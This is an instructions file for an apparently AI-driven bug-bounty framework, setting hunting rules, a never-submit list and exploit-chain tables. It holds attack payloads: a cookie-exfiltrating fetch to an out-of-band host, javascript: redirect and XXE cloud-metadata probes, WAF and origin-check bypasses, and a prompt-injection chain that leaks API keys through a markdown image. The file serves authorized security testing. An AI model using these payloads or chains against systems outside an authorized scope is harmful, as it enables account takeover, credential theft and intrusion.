# pentest-agents — persistent instructions

## Authorized Security Testing Workspace

This workspace uses the pentest-agents framework for authorized bug bounty
research only. Verify scope and policy before testing. Stay inside
`scope.yaml` / `.scope.txt` and `policy.md`. Do not run destructive tests, DoS,
social engineering, or out-of-scope probing.

## Operating Discipline

- Read `rules/hunting.md` before every hunt.
- Run scope/policy checks before touching a target.
- Use `rules/never-submit.md` and the 7-Question Gate before writing reports.
- Chain weak primitives before reporting; standalone informational findings
  are not submissions.
- Read and update brain state with `tools/brain.py` so exhausted vectors stay
  exhausted and confirmed patterns compound.
- Persist PoCs, reports, screenshots, and evidence to disk. If a file does not
  exist, call it pending.
- Never hardcode platform identities or secrets. Use `rules/identities.md` and
  environment variables.

## Local Framework Assets

- `.codex/`, `.gemini/`, `.cursor/`, `.windsurf/`, `.github/`, `.agents/` —
  project-scoped provider assets generated by scaffold/installer.
- `.claude/agents/` and `.claude/skills/` — canonical Claude agents and
  slash-command skills.
- `rules/` and `skills/` — methodology, payloads, and class-specific playbooks.
- `tools/` — workspace-local CLI tools; run Python tools with `uv run python3`.
- `mcp-bounty-server/` and `mcp-writeup-server/` — platform/scope and writeup
  search MCP servers.

## Workflow

New program: `/sync` -> `/brain init` -> `/surface` -> `/hunt`
Returning: `/resume <target>` -> `/hunt` or `/autopilot --resume`
After confirming signal: `/validate` -> `/chain` -> `/report` -> `/dupcheck` -> `/submit` -> `/learn`
Batch triage: `/triage`

## Rules Digest


## hunting

# Hunting Rules

These rules are ALWAYS active. Breaking them wastes time and tanks your validity ratio.

## Rule 0: THE ONLY QUESTION THAT MATTERS

> "Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions — and does it cause real harm (expose sensitive functionality or data, stolen money, leaked PII, account takeover, code execution)?"
>
> If NO — STOP. Do not write. Do not explore further. Move on.

### Theoretical Bug = Wasted Time. Kill These Immediately:

| Pattern | Kill Reason |
|---|---|
| "Could theoretically allow..." | Not exploitable = not a bug |
| "An attacker with X, Y, Z conditions could..." | Too many preconditions |
| "Wrong implementation but no practical impact" | Wrong but harmless = not a bug |
| Dead code with a bug in it | Not reachable = not a bug |
| Source maps without secrets | No impact |
| SSRF with DNS-only callback | Need data exfil or internal access |
| Open redirect alone | Need ATO or OAuth chain |
| "Could be used in a chain if..." | Build the chain first, THEN report |

## Rule 1: READ FULL SCOPE FIRST

Before making a single request: read the program's in-scope and out-of-scope lists.
One out-of-scope request = potential ban. One out-of-scope report = instant close.

## Rule 2: KILL WEAK FINDINGS FAST

Run the 7-Question Gate BEFORE spending time on a finding. Kill at Q1 if needed.
Every minute on a weak finding = a minute not finding a real one.

## Rule 3: 5-MINUTE RULE

If a target surface shows nothing interesting after 5 minutes → move on.

Kill signals:
- All hosts return 403 or static pages
- No API endpoints with ID parameters
- No JavaScript bundles with interesting paths
- nuclei returns 0 medium/high findings

## Rule 4: AUTOMATION = HIGHEST DUP RATE

Use automation for RECON only (subdomain enum, live hosts, URL crawl).
Manual testing finds unique bugs. Automated scanners find duplicates.

## Rule 5: IMPACT-FIRST HUNTING

Ask: "What's the worst thing that could happen if auth was broken here?"
If "nothing valuable" → skip. If "admin access, PII exfil, fund theft" → hunt there.

## Rule 6: HUNT LESS-SATURATED BUG CLASSES

High competition (skip unless target-specific): XSS, basic SSRF, open redirect alone, missing headers
Low competition: Cache poisoning, race conditions, business logic, HTTP smuggling, CI/CD, SAML, OAuth chains

## Rule 7: DEPTH OVER BREADTH

One target deeply understood > ten targets shallowly tested.
Read 5+ disclosed reports for the target before hunting.
Understand the business domain. Map the crown jewels.

## Rule 8: THE SIBLING RULE

> "Check EVERY sibling endpoint. If `/api/user/123/orders` requires auth,
> check `/api/user/123/export`, `/api/user/123/delete`, `/api/user/123/share`."

This rule explains 30% of all paid IDOR/auth bugs.

## Rule 9: A→B SIGNAL METHOD

When you confirm bug A → stop → hunt for B and C before writing the report.
A confirmed bug = signal that the developer made a class of mistake.
They made it elsewhere too. Finding B costs 10x less than finding A.
Time-box: 20 minutes on B. If not confirmed → submit A and move on.

## Rule 10: NEW == UNREVIEWED

Features < 30 days old have the lowest security maturity.
Monitor GitHub commits. Hunt new features first.

## Rule 11: FOLLOW THE MONEY

Billing/credits/refunds/wallet = most developer shortcuts taken.
Price manipulation, race conditions on payment, quota bypass = high ROI.

## Rule 12: 20-MINUTE ROTATION RULE

Every 20 min ask: "Am I making progress?"
No → rotate to next endpoint, subdomain, or vuln class.
Fresh context finds more bugs than brute force.

## Rule 13: BUSINESS IMPACT > VULN CLASS

Clickjacking is usually $0 but MetaMask paid $120K for one.
Ask: "What's the business impact?" before estimating severity.

## Rule 14: VALIDATE BEFORE WRITING

Run /validate before starting a report. Gate 0 is 30 seconds.
It takes 30 seconds to kill a bad lead. A report takes 30 minutes to write.

## Rule 15: CREDENTIAL LEAKS NEED EXPLOITATION PROOF

Finding an API key = Informational.
Proving what the key accesses (S3 read, database, admin panel) = Medium/High.
Always call the API as the leaked key. Enumerate permissions.

## Rule 16: MOBILE = DIFFERENT ATTACK SURFACE

Mobile apps expose endpoints the web app doesn't. Always decompile when in scope:
- Hardcoded secrets in smali/strings that web recon never finds
- API endpoints not in web JS
- Deep-link handlers with injection points
- WebView addJavascriptInterface = JS→Java bridge

## Rule 17: CI/CD IS ATTACK SURFACE

GitHub Actions / GitLab CI with public repos:
- `pull_request_target` + checkout of PR branch = attacker code with repo secrets
- Expression injection in `${{ github.event.issue.title }}` in `run:` blocks
- Self-hosted runners = escape to org infrastructure

## Rule 18: SAML/SSO = HIGHEST AUTH BUG DENSITY

If target uses SSO, always test:
- XML signature wrapping (XSW)
- Comment injection in NameID
- XXE in SAML assertion
- Signature stripping
- NameID manipulation

## Rule 19: NEVER-SUBMIT LIST

Instant kill unless you have a working chain:

```
Missing headers (CSP/HSTS/X-Frame-Options)
Missing SPF/DKIM/DMARC
GraphQL introspection alone
Banner/version disclosure without CVE exploit
Clickjacking without sensitive action PoC
Self-XSS
Open redirect alone
SSRF DNS-only
CORS wildcard without credentialed exfil PoC
Logout CSRF
Rate limit on non-critical forms
Session not invalidated on logout
Concurrent sessions allowed
Internal IP in error message
Missing cookie flags alone
OAuth client_secret in mobile app (expected)
OAuth client_id alone (public by design)
OIDC discovery endpoint (public by design)
SPA client-side config (API URLs, Segment keys)
```

## Rule 20: VERIFY DATA ISN'T ALREADY PUBLIC

Before reporting an API "leak": check the web UI in incognito.
If the same data is visible to any visitor, it's not a leak.

## Rule 21: DEEP CHAINS PAY THE MOST

Individual findings are often low/informational. Chains escalate severity exponentially.
The Renwa chain went from Self-XSS ($0 alone) to Critical ATO ($$$) through 9 links.

**Chain walk algorithm:**
1. Confirm bug A
2. Map what A GIVES you (capability)
3. Search: what bug takes that capability as INPUT?
4. Test it. If confirmed → it becomes the new A
5. Repeat until terminal impact (ATO, RCE, data exfil) or dead end

**Capability → Next Link (most common transitions):**
- JS execution → read cookies/tokens, forge requests, inject into postMessage
- Text injection → code execution (eval, template, SQL), stored XSS
- URL/redirect control → OAuth code theft, iframe content control
- Cookie control → cookie bomb (block callbacks), session fixation
- Cross-origin window ref → URL theft (tokens in URL), postMessage injection
- SSRF → cloud metadata, internal services, IP allowlist bypass
- IDOR read → steal tokens/creds → impersonate → ATO
- File write → web shell → RCE

**Always run `/chain` when you confirm ANY finding.** Even Self-XSS can become Critical ATO.

## Rule 22: PERMISSIONS-FIRST VOLUME STRATEGY

Medium-severity permission bugs at $500-1000/pop, found 1-3/day, is more reliable income than chasing criticals.

**The approach:**
1. Read ALL product documentation — every feature, every role, every permission level
2. Map the permission model — who can do what, where are the boundaries
3. Test every API action against every role — look for discrepancies between UI restrictions and API enforcement
4. Apply the Sibling Rule across the permission model — if one action leaks, the whole class leaks
5. Focus on APIs — they're the most broken surface. UI may enforce permissions client-side while API doesn't

**Priority order for permissions hunting:**
1. BAC (Broken Access Control) — horizontal and vertical privilege escalation
2. IDOR — object-level access control failures
3. Permission model gaps — actions available via API but hidden in UI
4. Role boundary violations — lower role accessing higher role functionality

**Key insight:** Developers make CLASS mistakes. If they forgot auth on one endpoint, they forgot it on 20 others. One bug = signal that the whole product is broken in that class. Don't report and move on — map the entire class first.

**"Broken product" recognition:** When you find your first bug on a product and it was easy, the whole product is likely broken. These products can yield $200K+ in a month. Train yourself to recognize them by the quality of their code, the age of their stack, and the number of features they ship.

## Rule 23: HTTP 200 ≠ IMPACT

A 200 status on a request the user shouldn't make is a lead, not a finding. Impact requires either:
- **Read:** a follow-up request returning data the user shouldn't see (another user's resource, admin-only field, internal state).
- **Write:** a follow-up read confirming the state change persisted and is observable to a second party.

Theoretical language ("could result in...", "an attacker might...") reads as speculation to triagers. Prove it with the actual data in the response, or the finding is not ready.

**Common traps:**
- Status-code asymmetry between own vs other-user's resource — proves auth fired somewhere, not that a leak exists.
- Mass-assignment 400 vs 406 — proves the field was parsed, not that it was persisted. Read it back.
- `404 not found` on unauth endpoints — proves routing reached the query layer, not that unauth data is accessible.

Every IDOR, BAC, mass-assignment, SSRF, and privilege-change candidate ships with a request pair: exploit + independent read-back.

## Rule 24: EXHAUSTION REQUIRES A MUTATION MATRIX

Never mark a vuln class "tested" after a single payload family. Minimum baseline before the verdict "exhausted" is accepted:

1. **Vectors:** query, path, JSON body, form, multipart, headers/cookies, async/webhook.
2. **Methods:** GET/POST/PUT/PATCH/DELETE where the endpoint allows.
3. **Encodings:** raw, URL, double-URL, unicode escape, HTML-entity, mixed-case / separator insertion, **and stacked** (multiple encodings in the same payload, e.g. `html-entity+url` → `%26lt%3Bscript%26gt%3B`, `unicode-escape+url`, `base64+url`). WAFs typically decode once; targets decode twice — stacking beats the gap. For a worked triple-stack (Akamai bypass, HTML-entity + URL + Unicode) see the "Stacked-encoding DOM XSS" payload in `rules/payloads.md`.
4. **Bypasses:** parser differential, alternate delimiters, allowlist confusion, host normalization.

If fewer than 30 meaningful combinations were attempted on a P1 surface, the class is not exhausted. `uv run python3 ../../tools/intel_engine.py matrix <class>` generates the starting combinations; `uv run python3 ../../tools/brain.py record <target> recon "coverage-<class>" "<cells tested>"` persists what was covered.

## Rule 25: DIFFERENTIAL TESTING OVER SINGLE RESPONSES

Always compare request pairs/triples, not single responses:

- auth vs unauth
- same request across two roles
- same payload across two parsers / content-types
- same endpoint before/after a state mutation

Interesting deltas include: latency shifts, cache-key confusion, subtle JSON field differences, downstream side effects (emails, webhooks, audit logs), and async callback evidence. A 200 that looks identical can still leak through a header, body length, or timing skew.

## Rule 26: BROWSER + API PARITY CHECK

If the browser blocks an action but the API accepts it, treat as high-value lead. For every critical workflow (auth changes, billing, exports, admin actions), validate all three:

- UI restriction (what the browser enforces client-side)
- raw API enforcement (same action via direct HTTP)
- secondary read-back from a *separate session* to confirm the state actually changed

This catches permission drift — server-side check was forgotten, UI still hides the button — that shallow autopilot loops miss.

## Rule 27: CHAIN SEARCH IS MANDATORY ON EVERY PASS SIGNAL

Any PASS signal must trigger at least one immediate chain attempt before the finding is submitted atomically:

1. Define the capability gained (read / write / exec / control).
2. Query likely next links using `rules/chain-table.md`.
3. Attempt at least 3 next-link candidates, or 20 minutes, whichever comes first.
4. Record dead-end evidence to brain if none land.

Do NOT submit atomic low-impact findings without either proving chain potential or recording chain-dead-end evidence. This keeps low-severity reports from eating the validity ratio.

## Rule 28: ROTATE DETECTION TOKENS — `alert(1)` IS TIER 1 OF 7

`alert(1)` is the most-WAF-blocked, most-overridden detection token in the
field. A negative `alert(1)` result proves the dialog API is muted; it does
NOT prove "no XSS / no JS execution / no prototype-pollution effect / no
CSP bypass". Hunters that conclude "no vuln" after a single `alert`-shaped
probe produce shallow results and will be re-dispatched.

For every XSS, prototype-pollution, CSP-bypass, postMessage, or any
JS-execution probe, walk the rotation ladder until execution is confirmed
or all 7 tiers are exhausted. The ladder lives in `rules/payloads.md`
under "Detection Mechanism Rotation Ladder":

```
Tier 1: alert(1)              Tier 5: window['xss']=Date.now()  (global write)
Tier 2: prompt(1)/confirm(1)  Tier 6: fetch('//oast/?'+cookie)  (OOB + impact in one shot)
Tier 3: console.log()         Tier 7: constructor / token-encoded indirect call
Tier 4: DOM marker mutation
```

Rule of thumb: **if Tier N is blocked, jump 2 tiers down**, not 1. Tier 6
(OOB) is the strongest single-shot proof — it defeats every dialog
defense, captures cookies, and produces report-grade evidence in one
round-trip. Use it early when a target is heavily WAF-protected.

Detection-mechanism diversity directly increases hit rate: a target that
blocks `alert\b` but not `prompt`, or overrides `window.alert` but not
`document.title`, will fire on Tier 2/4 even though Tier 1 looked dead.
Walking all 7 tiers raises confirmation probability from ~30% (alert-only)
to ~85%+ on real-world targets.

A hunter prompt that hard-codes `alert(1)` and stops there is failing
this rule. Every hunter dispatched for a JS-execution-class probe MUST
receive the rotation ladder in its preamble.

## Rule 30: NO CROSS-REGION INFERENCE

A target's hosts in region X are separate test surface from the same
product's region Y, even if the binaries, routes, or status patterns
look identical. Recon, surface probe, and class coverage are per-host —
**you may use another region to seed hypotheses, never to mark
coverage**.

The failure mode this rule was written for: a hunter probed
`prod-*.nu.com.br` exhaustively, found everything hardened, then declared
the corresponding `prod-*.nu.com.co` hosts "exhausted by inference"
without testing them. The CO hosts had different service names
(`milli-vanilli`, `telefonista`, `nuddynho`, `slack-client`) — clearly
different code paths — but were still skipped. A confirmed unauthenticated
write endpoint on the CO side was missed entirely.

The hard gate (`tools/autopilot_gate.py`) rejects brain entries matching
`same-code-as-<region>`, `equivalent-to-<region>`, `<region>-hardened-so`,
`assumed.*same`, and `inferr?ed.*from.*region`. If you genuinely cannot
test a region for a policy reason, record:
`recon-skip:<region> policy:<exact-clause> — <rationale>` and the gate
will accept it.

## Rule 31: CONFIRMED UNAUTH STATE-CHANGE → ADVERSARIAL BATTERY IS MANDATORY

Any unauthenticated POST/PUT/PATCH/DELETE that returns 2xx or 3xx is a
confirmed write surface. You DO NOT walk away from it after recording the
observation. Before the endpoint can be marked exhausted, the
adversarial battery must run with **at least 10 attempts across all five
required dimensions**:

1. **mass-assignment** — privileged JSON fields (role, status, balance,
   credit-score, decision, owner_id, tenant_id, is_admin) injected into
   the request body
2. **payload-fields** — XSS / SSTI / SQLi / log-injection payloads in
   every string field, with the Rule 28 rotation ladder applied
3. **id-collision** — write the same record twice with the same external
   identifier (applicant-id, idempotency-key, request-id) from different
   sessions; race the writes
4. **race-condition** — parallel requests against the endpoint to detect
   non-idempotent state mutations
5. **chain-anchors** — for the resulting capability (write to anonymous
   endpoint), pull the matching anchors from `rules/chain-table.md` and
   probe at least three of them (typical anchors: applicant-flow takeover,
   credit-decision injection, downstream KYC/PSE poisoning)

Brain marker required: `adversarial-battery:<path> attempts:<≥10>
mass-assignment:<done|signal:<details>> payload-fields:<done|signal>
id-collision:<done|signal> race:<done|signal>
chain-anchors:<done|signal:<which-anchor>>
evidence:<file>`. The hard gate validates each dimension is present and
the evidence file exists. Missing dimension or empty evidence file =
gate fail.

## never-submit

# Never-Submit List & Conditionally Valid Findings

Reference file for validator agent. Do not duplicate this content elsewhere.

## Never-Submit List (instant kill without chain)

These findings are ALWAYS rejected unless accompanied by a working exploit chain:

- Missing headers (CSP/HSTS/X-Frame-Options)
- Missing SPF/DKIM/DMARC
- GraphQL introspection alone
- Banner/version disclosure without CVE exploit
- Clickjacking without sensitive action PoC
- Self-XSS
- Open redirect alone
- SSRF DNS-only
- CORS wildcard without credentialed exfil PoC
- Logout CSRF
- Rate limit on non-critical forms
- Session not invalidated on logout
- Concurrent sessions allowed
- Internal IP in error message
- Missing cookie flags alone
- OAuth client_secret in mobile app (expected)
- OAuth client_id alone (public by design)
- OIDC discovery endpoint (public by design)
- SPA client-side config (API URLs, Segment keys)
- Subdomain takeover claim on `*.azurewebsites.net` (Microsoft reserves deprovisioned App Service hostnames — not exploitable; do not test, do not report)

## Conditionally Valid (chain required)

These findings become valid when chained with the specified escalation:

| You Have | Chain Needed | Combined Impact |
|---|---|---|
| Open redirect | + OAuth code theft → token exchange | ATO |
| SSRF DNS-only | + internal service data exfil | Data breach |
| CORS wildcard | + credentialed data theft PoC | Cross-origin data theft |
| GraphQL introspection | + auth bypass on mutations | Unauthorized actions |
| S3 listing | + secrets in bundles → OAuth chain | ATO |
| Prompt injection | + IDOR via chatbot (other user data) | Data breach |
| Subdomain takeover | + OAuth redirect_uri at that subdomain | ATO |

## chain-table

# Chain Table — Capability → Next Bug

Reference file for chain-builder agent and autopilot. Do not duplicate this content elsewhere.

## The Chain Walk Algorithm

1. START with confirmed bug A
2. Map what A GIVES you (capabilities/primitives)
3. Search this table for what takes A's output as input
4. Test the top candidate (B)
5. If B confirmed → map combined capabilities → check terminal impact → if not terminal, B becomes new A → go to 3
6. If B fails → try next candidate (max 3 failures per depth)
7. Report chain so far when terminal impact reached or candidates exhausted

## Capability → Next Bug Table

| You Have (Capability) | Look For (Next Link) | Combined Gives You |
|---|---|---|
| **JS execution in victim context** | HttpOnly not set? → cookie theft | Session token |
| | CSRF token accessible → forge requests | Authenticated actions |
| | postMessage listener unchecked → inject messages | Control over app state |
| | DOM access → read sensitive data | PII, tokens, keys |
| **Arbitrary text injection** | Input evaluated/executed → code execution | JS execution |
| | Input rendered in another context → stored XSS | JS execution in other users |
| | Input sent to API → parameter injection | API abuse |
| **Control over URL/redirect** | OAuth redirect_uri → steal auth code | OAuth token |
| | Open redirect → phishing from trusted domain | Credential theft |
| | iframe src control → clickjacking | UI manipulation |
| **Cookie control (set/read)** | Cookie bomb (overflow headers) → block callbacks | Force error pages |
| | Session fixation → set known session ID | Session hijack |
| | Cookie tossing → override subdomain cookies | Auth confusion |
| **Cross-origin window reference** | window.location readable → URL theft | Tokens in URL |
| | postMessage to window → inject data | State manipulation |
| | window.opener control → tabnabbing | Phishing |
| **SSRF (make server requests)** | Hit cloud metadata → IAM credentials | Cloud access |
| | Hit internal services → access admin panels | Internal access |
| | Hit localhost → bypass IP allowlists | Auth bypass |
| **IDOR (read other user's data)** | Read auth tokens → impersonate | ATO |
| | Read PII → data breach | Privacy violation |
| | Write to other user → modify account | Account manipulation |
| **File write/upload** | Write to web root → web shell | RCE |
| | Write SVG → stored XSS | JS execution |
| | Write config → modify app behavior | App takeover |
| **DNS control (subdomain)** | Subdomain is OAuth redirect_uri → token theft | ATO |
| | Subdomain serves content → trusted phishing | Credential theft |
| | Subdomain has wildcard cert → MitM | Traffic interception |

## Terminal Impacts (stop chaining, report)

- **Account Takeover (ATO)**: stolen session, OAuth token, password reset
- **Remote Code Execution (RCE)**: server-side code exec, web shell
- **Mass Data Exfiltration**: bulk PII, financial data, credentials
- **Full Admin Access**: privilege escalation to admin role
- **Infrastructure Compromise**: cloud creds → full environment access

## Known Deep Chains (real-world examples)

### 9-Link: Self-XSS → ATO (Renwa 2026)
A: Self-XSS in code editor → B: Cross-origin drag-drop injection → C: Scroll-to-fragment focus → D: Unchecked postMessage listener → E: Victim clicks Evaluate → F: DOM-XSS reads CSRF + OAuth → G: Cookie bomb blocks callback → H: Same-origin URL read extracts OAuth code → I: Exchange code → ATO

### 4-Link: S3 → OAuth → ATO
A: S3 bucket publicly listable → B: JS bundles contain OAuth client_secret → C: OAuth flow doesn't enforce PKCE → D: Intercept auth code via manipulated redirect_uri → ATO

### 5-Link: Subdomain Takeover → ATO
A: Dangling CNAME → claim subdomain → B: Subdomain is OAuth redirect_uri → C: Cookie tossing on parent domain → D: Session fixation via tossed cookie → E: Victim authenticates → ATO

### 6-Link: Prompt Injection → Admin
A: LLM chatbot follows injected instructions → B: IDOR via AI (other user data) → C: Markdown image exfil → D: Exfiltrated API keys → E: Internal service access → F: Admin promotion endpoint → Admin

## Process Rules

1. Confirm each link with exact HTTP request/response
2. Map capabilities after each link
3. Search writeup DB at each step: `search_writeups "<capability> escalation"`
4. 20-minute time box per link
5. Max 3 failed candidates per depth
6. Each link must be DIFFERENT (endpoint, mechanism, or impact)
7. Each link must be PROVABLE (exact request/response)
8. Report the FULL chain as one submission — chains pay more

## Per-Class Chain Anchors (FEEDER discipline)

When a hunter confirms a finding in any of the classes below, that finding
is **a feeder, not a report**. The hunter MUST immediately probe the listed
anchors before declaring the finding complete. If any anchor returns signal,
the result is a chain candidate; dispatch chain-builder. If all anchors
fail, the finding is informational at best — apply the never-submit rule.

The hunt and autopilot dispatchers inject these anchors into the hunter's
task preamble so the hunter knows what to test next without an extra round
trip.

### `open-redirect` — anchors

Standalone is on the never-submit list. Anchors:

1. **OAuth redirect_uri reflection** — find every OAuth/OIDC client in the target. Try `?redirect_uri=<your-redirected-domain>`. If the auth code is delivered to your domain → ATO chain confirmed.
2. **`returnTo` / `next` / `continue` after auth** — submit `returnTo=javascript:alert(document.cookie)`. If the SDK uses `location.href = returnTo`, that's CVE-2025-67716 class.
3. **SAML RelayState / OIDC `post_logout_redirect_uri`** — try `RelayState=<svg onload=...>` or `post_logout_redirect_uri=<external>`.
4. **Login flow CSRF anchor** — does the redirect happen post-login? Self-XSS on the redirect target + login CSRF = ATO.
5. **Cookie tossing prerequisite** — does the redirect target a sibling subdomain? If yes + you control any subdomain → cookie tossing chain.

### `cors-hunter` — anchors

CORS wildcard alone is on the never-submit list. Anchors:

1. **Credentialed authenticated endpoint** — find an endpoint behind auth with `Access-Control-Allow-Credentials: true`. Without this, CORS misconfig is informational.
2. **Sensitive data endpoint** — does the over-permissive origin reach `/api/me`, `/api/users/<id>`, billing, secrets? Document the exact data exfiltrated.
3. **Origin-reflection + `null`** — tests with `Origin: null` (sandboxed iframes / data: URIs) reveal weakly-coded origin checks.
4. **Subdomain wildcard regex flaw** — `https://target.com.attacker.com`, `https://nottarget.com`, `https://target.com\.attacker.com` — origin-check regex bypasses.
5. **Cross-origin postMessage handler** — find a `window.addEventListener('message', ...)` without origin validation and abuse it as the data-theft sink.

### `info-disclosure` — anchors

Standalone info disclosure is always-rejected unless chained. Anchors:

1. **Bundle / source / config containing OAuth secrets** → oauth-hunter (client_secret + missing PKCE = code interception).
2. **Stack trace revealing internal IPs / service names** → ssrf-hunter (now you know what to point SSRF at).
3. **Debug endpoint returning request headers** → IDOR / session fixation candidate (sessions visible to attacker).
4. **`.git`, `.env`, `backup.tar.gz`, `wp-config.php` exposed** → if it leaks DB credentials → privilege-escalation; if it leaks signing keys → JWT alg confusion → oauth-hunter.
5. **Cloud metadata reachable via XSS context (window.fetch)** → IMDS theft chain (XSS + open SOP to 169.254.169.254).
6. **API key in JS bundle with active scope** — verify the scope. If it accesses other-user data → IDOR-via-key.

### `csrf-hunter` — anchors

CSRF on isolated forms is low/medium. Anchors:

1. **CSRF on password / email / phone change** → ATO chain (changes the recovery vector).
2. **CSRF on MFA disable / second-factor enrollment** → MFA bypass.
3. **CSRF on role change / permission grant / team invite** → privilege escalation.
4. **CSRF on payment-method change / withdrawal address** → financial impact.
5. **CSRF on OAuth client registration / API key creation** → backdoor-credential chain.

### `subdomain-takeover` — anchors

Standalone takeover is medium without chain. Anchors:

1. **Subdomain is OAuth redirect_uri / SAML ACS / OIDC issuer** — claim → ATO chain.
2. **Parent domain shares cookies (`.target.com`)** → cookie tossing → session fixation → ATO.
3. **Subdomain has wildcard cert** → MitM / TLS-confusion chain.
4. **Subdomain is referenced from prod domain JS** (CDN, asset, config) → trusted-domain phishing → credential theft.
5. **Subdomain is in CSP `script-src`** → CSP bypass on the parent → stored XSS escalation.

### `xxe-hunter` — anchors

In-band XXE alone (read /etc/passwd) is informational on cloud-hosted apps. Anchors:

1. **SSRF via XXE → cloud metadata** (`SYSTEM "http://169.254.169.254/..."`) → IAM creds → infrastructure compromise.
2. **OOB exfil to attacker DTD** → blind XXE on cookie / config / private files.
3. **SAML XXE** (assertion parsing) → authentication bypass via signed-assertion forgery.
4. **DOCX / XLSX / SVG XXE upload** — payload survives the upload pipeline → triggers on internal viewer (admin context).
5. **PHP wrapper / Java JNDI** — `php://filter/read=convert.base64-encode/...` for source code, `jar://` / `ldap://` for classloader RCE.

### `file-upload` — anchors

Bypassing extension/MIME alone is info
...[truncated]
